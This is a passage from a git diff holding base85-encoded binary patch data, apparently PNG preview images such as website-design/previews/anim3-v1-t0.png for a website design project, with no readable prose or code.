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 literal 0 HcmV?d00001 diff --git a/website-design/previews/anim3-v1-t0.png b/website-design/previews/anim3-v1-t0.png new file mode 100644 index 0000000000000000000000000000000000000000..0f1835855fe4d26f4b7a1e52f1f37e5e389b56b2 GIT binary patch literal 49942 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 